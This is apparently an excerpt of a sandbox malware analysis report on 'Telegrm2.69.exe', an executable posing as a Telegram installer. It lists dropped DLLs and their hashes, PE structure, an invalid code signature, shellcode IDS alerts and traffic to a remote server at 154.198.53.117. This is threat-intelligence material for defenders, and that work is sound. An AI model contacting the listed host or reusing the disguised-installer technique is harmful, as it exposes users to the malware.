Joe Sandbox View:	Filename: file_6c73ff4553d147e39fc35434c1e9e972_2024-07-30_02_54_11_351000.zip, Detection: malicious, Browse Filename: SvpnLong2.exe, Detection: malicious, Browse Filename: SvpnLong2.exe, Detection: malicious, Browse Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........i...:...:...:...;...:...;)..:...;...:...;...:...;...:...;...:...;...:3..;...:...:...:3..;...:3.4:...:..\:...:3..;...:Rich...:........................PE..d......`.........."..........t......$..........@....................................j.....`..........................................................p...-...P.......h..0;......l...P...8.......................(.................... ..@............................text............................... ..`.rdata..F.... ......................@..@.data...L&... ......................@....pdata.......P......................@..@.rsrc....-...p.......2..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................

C:\ProgramData\vzobo\arphaDump64.dll

Download File

Process:	C:\Users\user\Desktop\Telegrm2.69.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199488
Entropy (8bit):	7.683305461232812
Encrypted:	false
SSDEEP:	49152:IKfnUHT6pdHDy6kwNvtazNJCF0oCY+AtClkgTePCUWk:xf1pRmWvtkJCF5Fgq6Xk
MD5:	5D165E30CDB59FDCCBD2ACE554EF3DF7
SHA1:	20344ECC0639934EB752C2F28AC2A0E37BA1852E
SHA-256:	7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1
SHA-512:	7EF245B877C5FEB431794BE1E267845AE1E29723BDB5866B02AAEFF589EB2F6232E1A033BFEF7C711E9812939E2C931893B9D5BED862E6F6BD6101262572854A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 47%, Browse
Joe Sandbox View:	Filename: file_6c73ff4553d147e39fc35434c1e9e972_2024-07-30_02_54_11_351000.zip, Detection: malicious, Browse Filename: SvpnLong2.exe, Detection: malicious, Browse Filename: SvpnLong2.exe, Detection: malicious, Browse Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h-)..Cz..Cz..Cz.[.z..Cz.[.z..Cz.[.z..Cz..8z..Cz..Bz..Cz.[.z..Cz.[.z..Cz.[.z..CzRich..Cz................PE..d...#..f.........." .......... .....4.........................................!......{!...@.....................................................(.... ... ..........f!..)....!.....P................................................................................text............................... ..`.rdata..c2.......4..................@..@.data...."..........................@....pdata..............................@..@.rsrc..... .. .... .................@..@.reloc........!......b!.............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Temp\49ba59abbe56e057.log

Download File

Process:	C:\Users\user\Desktop\Telegrm2.69.exe
File Type:	data
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	F9DEBE3F07BE68533BF0295E3D2BA68A
SHA1:	1CA1B255C5C75F83BE93EF3370770B9ACE9B6427
SHA-256:	F7B586904E3678145AA47E4232587C913139CEF0102D6D8E9276FC80C35CBAD3
SHA-512:	1187551D3D26549765EAF562C32D5F8999E2961ED8A3011604A29735579711737752C63B7F11D7A6D366A7423089DDF94D954413B3EC4A19673C73F2FEB177B6
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.996029397108862
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	Telegrm2.69.exe
File size:	27'643'656 bytes
MD5:	30d73384015546e788046f3d30b50b20
SHA1:	c70e8b2b6ab3bbf80cf64113d5d71924045833eb
SHA256:	29dba2fc79da42f87eaeccf27170e523602d386134e0dab6c61b4f0092040e45
SHA512:	8ee8ec493ee46380fabea29d420de43ea6fd8ceed7624d35068a50609f2878fb3049ef5ba19162b2f3712a78867b0644b0f01ced70f5e9c3b90bd056ae0f2981
SSDEEP:	393216:BzYsUC7yQ/zBe3l7Zzj/uvGtTvsbJyJAbY23cXnYK+t5kImuTOLEBZNimjuTFLd2:BzxQ9mIT0b3C3ry5k2aLEBTiBhA
TLSH:	AF57331B32A54DFBEC2C94B6D407CA0293B2B9259752C7878694732FAFF38A44D14B1D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............j...j...j.......j.......j...j...h...8..Kj...8...j...8..\|j...8...j...8...j...8...j..Rich.j..........................PE..d..

File Icon


Icon Hash:	1b870f278a898c65

Static PE Info

General

Entrypoint:	0x14001c414
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66AE3DAC [Sat Aug 3 14:24:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	df8a3b569f44b7154d8e1bd86b162dc8

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	06/07/2023 08:34:03 06/07/2026 08:34:03
Subject Chain	CN="Beijing Zhike Online Technology Co., Ltd.", O="Beijing Zhike Online Technology Co., Ltd.", L=Beijing, S=Beijing, C=CN
Version:	3
Thumbprint MD5:	D8E1475A0A4309B222A90E6A98E32471
Thumbprint SHA-1:	558E6045BBB495A63E1BA32A6F8B317C6B8BAD7E
Thumbprint SHA-256:	19BFE5ECB1F0A5176482D01AFB18DAFD497CA33B501B7CF8A876085A1CF02A27
Serial:	1EA18A3550A66F28BFADAFE2

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD81C8DB554h
dec eax
add esp, 28h
jmp 00007FD81C8D4C37h
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
cmp ecx, FFFFFFE0h
jnbe 00007FD81C8D4E9Eh
mov edi, 00000001h
dec eax
test ecx, ecx
dec eax
cmovne edi, ecx
dec eax
mov ecx, dword ptr [00027C3Dh]
dec eax
test ecx, ecx
jne 00007FD81C8D4E42h
call 00007FD81C8D8958h
mov ecx, 0000001Eh
call 00007FD81C8D8726h
mov ecx, 000000FFh
call 00007FD81C8D4590h
dec eax
mov ecx, dword ptr [00027C18h]
dec esp
mov eax, edi
xor edx, edx
call dword ptr [00010DC5h]
dec eax
mov esi, eax
dec eax
test eax, eax
jne 00007FD81C8D4E4Eh
cmp dword ptr [00027C07h], eax
je 00007FD81C8D4E30h
dec eax
mov ecx, ebx
call 00007FD81C8D924Ah
test eax, eax
je 00007FD81C8D4E2Fh
jmp 00007FD81C8D4DCDh
call 00007FD81C8D595Fh
mov dword ptr [eax], 0000000Ch
call 00007FD81C8D5954h
mov dword ptr [eax], 0000000Ch
dec eax
mov eax, esi
jmp 00007FD81C8D4E34h
call 00007FD81C8D9224h
call 00007FD81C8D593Fh
mov dword ptr [eax], 0000000Ch
xor eax, eax
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 build 21022
[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b260	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0x1a135cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x46000	0x3264	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1a59c00	0x3308	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1a5e000	0xbf4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2d980	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2d000	0x858	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3b1c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2bfa8	0x2c000	e13b8d8f8c9d67b6d93c5bc837ec54a9	False	0.5004605379971591	data	6.302506896552274	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xfd0e	0xfe00	50e072d27a55efd1c4e756865fd2df0e	False	0.3192667322834646	data	4.577364574810597	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x8678	0x2c00	99aa4987c8e945a9c96c11c29d9db7b4	False	0.2489346590909091	data	3.4340787669015636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x46000	0x3264	0x3400	fc94e7c92e6083c5e7a152adc667f27d	False	0.44974459134615385	PEX Binary Archive	5.333923017294334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x4a000	0x1a14000	0x1a13600	87ec316afb3d62f6e4e3374f1195c9a8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1a5e000	0x4294	0x4400	7945210412c6d66ff7cd0feb43e4f2b1	False	0.08139935661764706	data	1.576952963547732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
FLAC	0x4b26c	0x1a08fcf	FLAC audio bitstream data, 24 bit, stereo, 48 kHz, 5990400 samples			0.991572380065918
RT_CURSOR	0x1a5423c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x1a54370	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_CURSOR	0x1a54424	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.36363636363636365
RT_CURSOR	0x1a54558	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.35714285714285715
RT_CURSOR	0x1a5468c	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x1a547c0	0x134	data	Chinese	China	0.37662337662337664
RT_CURSOR	0x1a548f4	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x1a54a28	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x1a54b5c	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x1a54c90	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.38636363636363635
RT_CURSOR	0x1a54dc4	0x134	data	Chinese	China	0.44155844155844154
RT_CURSOR	0x1a54ef8	0x134	data	Chinese	China	0.4155844155844156
RT_CURSOR	0x1a5502c	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5422077922077922
RT_CURSOR	0x1a55160	0x134	data	Chinese	China	0.2662337662337662
RT_CURSOR	0x1a55294	0x134	data	Chinese	China	0.2824675324675325
RT_CURSOR	0x1a553c8	0x134	data	Chinese	China	0.3246753246753247
RT_CURSOR	0x1a554fc	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4025974025974026
RT_CURSOR	0x1a55630	0xb4	data	Chinese	China	0.55
RT_BITMAP	0x1a556e4	0x428	Device independent bitmap graphic, 128 x 15 x 4, image size 960	Chinese	China	0.3618421052631579
RT_BITMAP	0x1a55b0c	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x1a55bc4	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x1a55d08	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	Chinese	China	0.18841463414634146
RT_ICON	0x1a56370	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	Chinese	China	0.33064516129032256
RT_ICON	0x1a56658	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	Chinese	China	0.5135135135135135
RT_ICON	0x1a56780	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Chinese	China	0.5647654584221748
RT_ICON	0x1a57628	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Chinese	China	0.7445848375451264
RT_ICON	0x1a57ed0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Chinese	China	0.6141618497109826
RT_ICON	0x1a58438	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 0	Chinese	China	0.42420937840785167
RT_ICON	0x1a5a0e0	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 0	Chinese	China	0.5509259259259259
RT_ICON	0x1a5ad88	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 0	Chinese	China	0.7603211009174312
RT_ICON	0x1a5b0f0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.2540322580645161
RT_ICON	0x1a5b3d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.4560810810810811
RT_MENU	0x1a5b500	0x128	data	Chinese	China	0.652027027027027
RT_MENU	0x1a5b628	0x294	data	Chinese	China	0.5348484848484848
RT_DIALOG	0x1a5b8bc	0x120	data	Chinese	China	0.6354166666666666
RT_DIALOG	0x1a5b9dc	0xe2	data	Chinese	China	0.6814159292035398
RT_DIALOG	0x1a5bac0	0x166	data	Chinese	China	0.48044692737430167
RT_DIALOG	0x1a5bc28	0x142	data	Chinese	China	0.5279503105590062
RT_DIALOG	0x1a5bd6c	0x34	data	Chinese	China	0.9038461538461539
RT_STRING	0x1a5bda0	0x54	data	Chinese	China	0.7261904761904762
RT_STRING	0x1a5bdf4	0x7a	data	Chinese	China	0.4426229508196721
RT_STRING	0x1a5be70	0x2e	data	Chinese	China	0.6304347826086957
RT_STRING	0x1a5bea0	0xde	data	Chinese	China	0.6666666666666666
RT_STRING	0x1a5bf80	0xc0	data	Chinese	China	0.11979166666666667
RT_STRING	0x1a5c040	0x124	data	Chinese	China	0.6575342465753424
RT_STRING	0x1a5c164	0xe0	data	Chinese	China	0.5892857142857143
RT_STRING	0x1a5c244	0x60	data	Chinese	China	0.7708333333333334
RT_STRING	0x1a5c2a4	0x54	data	Chinese	China	0.5357142857142857
RT_STRING	0x1a5c2f8	0x46	data	Chinese	China	0.7428571428571429
RT_STRING	0x1a5c340	0x58	data	Chinese	China	0.5340909090909091
RT_STRING	0x1a5c398	0x9a	data	Chinese	China	0.7337662337662337
RT_STRING	0x1a5c434	0x4a	data	Chinese	China	0.7837837837837838
RT_STRING	0x1a5c480	0x68	data	Chinese	China	0.8846153846153846
RT_STRING	0x1a5c4e8	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x1a5c514	0x82	data	Chinese	China	0.9307692307692308
RT_STRING	0x1a5c598	0xf2	data	Chinese	China	0.5661157024793388
RT_STRING	0x1a5c68c	0x1d6	data	Chinese	China	0.8148936170212766
RT_STRING	0x1a5c864	0x160	data	Chinese	China	0.4971590909090909
RT_STRING	0x1a5c9c4	0x12e	data	Chinese	China	0.652317880794702
RT_STRING	0x1a5caf4	0x50	data	Chinese	China	0.7125
RT_STRING	0x1a5cb44	0x44	data	Chinese	China	0.6764705882352942
RT_STRING	0x1a5cb88	0x68	data	Chinese	China	0.7019230769230769
RT_STRING	0x1a5cbf0	0x1b8	data	Chinese	China	0.6568181818181819
RT_STRING	0x1a5cda8	0x104	data	Chinese	China	0.6038461538461538
RT_STRING	0x1a5ceac	0x24	data	Chinese	China	0.4722222222222222
RT_STRING	0x1a5ced0	0x30	data	Chinese	China	0.625
RT_ACCELERATOR	0x1a5cf00	0x70	data	Chinese	China	0.6785714285714286
RT_ACCELERATOR	0x1a5cf70	0x18	data	Chinese	China	1.2083333333333333
RT_GROUP_CURSOR	0x1a5cf88	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x1a5cfac	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x1a5cfd0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5cfe4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5cff8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d00c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d020	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d034	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d048	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d05c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d070	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d084	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d098	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d0ac	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d0c0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1a5d0d4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_ICON	0x1a5d0e8	0x84	data	Chinese	China	0.6515151515151515
RT_GROUP_ICON	0x1a5d16c	0x22	data	Chinese	China	1.0588235294117647
RT_VERSION	0x1a5d190	0x2b8	COM executable for DOS	Chinese	China	0.5114942528735632
RT_MANIFEST	0x1a5d448	0x165	ASCII text, with CRLF line terminators	English	United States	0.5434173669467787
None	0x1a5d5b0	0x1c	data	Chinese	China	1.25

Imports

DLL	Import
KERNEL32.dll	EncodePointer, DecodePointer, FlsGetValue, FlsSetValue, FlsFree, FlsAlloc, GetACP, IsValidCodePage, LCMapStringA, LCMapStringW, GetStdHandle, InitializeCriticalSectionAndSpinCount, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, HeapSetInformation, QueryPerformanceCounter, GetStringTypeA, GetStringTypeW, GetConsoleCP, GetConsoleMode, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, Sleep, HeapSize, HeapReAlloc, HeapQueryInformation, RtlPcToFileHeader, RaiseException, RtlUnwindEx, HeapFree, HeapAlloc, GetStartupInfoA, GetCommandLineA, ExitProcess, GetSystemTimeAsFileTime, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, TerminateProcess, GetModuleHandleW, SetErrorMode, GetOEMCP, GetCPInfo, CreateFileA, GetCurrentProcess, FlushFileBuffers, SetFilePointer, WriteFile, FormatMessageA, TlsFree, DeleteCriticalSection, LocalReAlloc, TlsSetValue, GlobalHandle, GlobalReAlloc, TlsAlloc, InitializeCriticalSection, EnterCriticalSection, TlsGetValue, LeaveCriticalSection, LocalFree, LocalAlloc, GetModuleFileNameW, GlobalFlags, MulDiv, GlobalGetAtomNameA, GlobalFindAtomA, MultiByteToWideChar, lstrcmpW, GetVersionExA, GlobalAddAtomA, WritePrivateProfileStringA, FreeResource, GlobalFree, GetCurrentProcessId, lstrlenA, GetTickCount, GlobalDeleteAtom, GetCurrentThread, GetCurrentThreadId, ConvertDefaultLocale, EnumResourceLanguagesA, GetModuleFileNameA, GetLocaleInfoA, WideCharToMultiByte, CompareStringA, FindResourceA, LoadResource, LockResource, SizeofResource, GlobalAlloc, FreeLibrary, GlobalUnlock, GlobalLock, lstrcmpA, GetLastError, SetLastError, LoadLibraryA, GetModuleHandleA, CopyFileExA, DeleteFileA, GetProcAddress, LoadLibraryW, CloseHandle, CreateMutexA, HeapCreate
USER32.dll	UnregisterClassA, GetSysColorBrush, EndPaint, BeginPaint, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, ClientToScreen, LoadCursorA, GetDC, ReleaseDC, RegisterWindowMessageA, LoadIconA, WinHelpA, GetCapture, GetClassLongA, GetClassNameA, GetClassLongPtrA, SetPropA, GetPropA, RemovePropA, GetForegroundWindow, GetTopWindow, SetWindowLongPtrA, UnhookWindowsHookEx, GetMessageTime, GetMessagePos, MapWindowPoints, SetMenu, SetForegroundWindow, GetClientRect, GetSubMenu, GetMenuItemID, GetMenuItemCount, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, GetSysColor, AdjustWindowRectEx, CopyRect, PtInRect, DefWindowProcA, CallWindowProcA, GetMenu, SystemParametersInfoA, IsIconic, GetWindowPlacement, GetWindowRect, GetSystemMetrics, SetCursor, SetWindowsHookExA, CallNextHookEx, GetMessageA, TranslateMessage, DispatchMessageA, UpdateWindow, EnableWindow, PostQuitMessage, PostMessageA, RegisterClipboardFormatA, IsWindowVisible, GetKeyState, PeekMessageA, GetCursorPos, ValidateRect, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, LoadBitmapA, ModifyMenuA, GetMenuState, EnableMenuItem, CheckMenuItem, GetDesktopWindow, GetActiveWindow, SetActiveWindow, CreateDialogIndirectParamA, DestroyWindow, GetWindowLongPtrA, MessageBoxA, IsWindowEnabled, GetLastActivePopup, GetParent, GetWindowLongA, SendMessageA, GetWindowThreadProcessId, SetWindowPos, GetWindow, DestroyMenu, GetDlgItem, SendDlgItemMessageA, IsDialogMessageA, SetWindowTextA, IsWindow, GetDlgCtrlID, ShowWindow, SetFocus, GetFocus, GetWindowTextA, EndDialog, GetNextDlgTabItem
GDI32.dll	TextOutA, ExtTextOutA, Escape, SetViewportOrgEx, OffsetViewportOrgEx, SetViewportExtEx, ScaleViewportExtEx, SetWindowExtEx, ScaleWindowExtEx, RectVisible, PtVisible, CreateBitmap, SetMapMode, RestoreDC, SaveDC, GetStockObject, GetDeviceCaps, DeleteDC, DeleteObject, SelectObject, GetObjectA, SetBkColor, SetTextColor, GetClipBox
WINSPOOL.DRV	DocumentPropertiesA, ClosePrinter, OpenPrinterA
ADVAPI32.dll	RegEnumKeyA, RegQueryValueA, RegOpenKeyA, RegCloseKey, RegDeleteKeyA, RegSetValueExA, RegCreateKeyExA, RegOpenKeyExA, RegQueryValueExA
COMCTL32.dll	InitCommonControlsEx
SHLWAPI.dll	PathFindFileNameA, PathFindExtensionA
OLEAUT32.dll	VariantClear, VariantChangeType, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-04T12:55:22.720240+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49717	154.198.53.117	192.168.2.5
2024-08-04T12:55:30.756541+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49719	154.198.53.117	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2024 12:54:59.002691984 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:54:59.996876955 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:54:59.998764992 CEST	280	49706	154.198.53.117	192.168.2.5
Aug 4, 2024 12:54:59.998984098 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:54:59.999506950 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:00.003268003 CEST	280	49706	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:00.003328085 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:00.004765987 CEST	280	49706	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:00.956825018 CEST	280	49706	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:00.996912003 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:01.232417107 CEST	280	49706	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:01.278110981 CEST	49706	280	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:01.364556074 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:01.369781971 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:01.369884968 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:01.369923115 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:01.375020981 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.264087915 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.264143944 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.264174938 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.264209032 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.264281988 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.264282942 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.487323046 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487359047 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487416029 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487449884 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487478971 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487509966 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487520933 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.487520933 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.487545013 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487574100 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.487689018 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.487689018 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.710939884 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.710983992 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.711038113 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:02.711057901 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:02.711071968 CEST	9000	49707	154.198.53.117	192.168.2.5
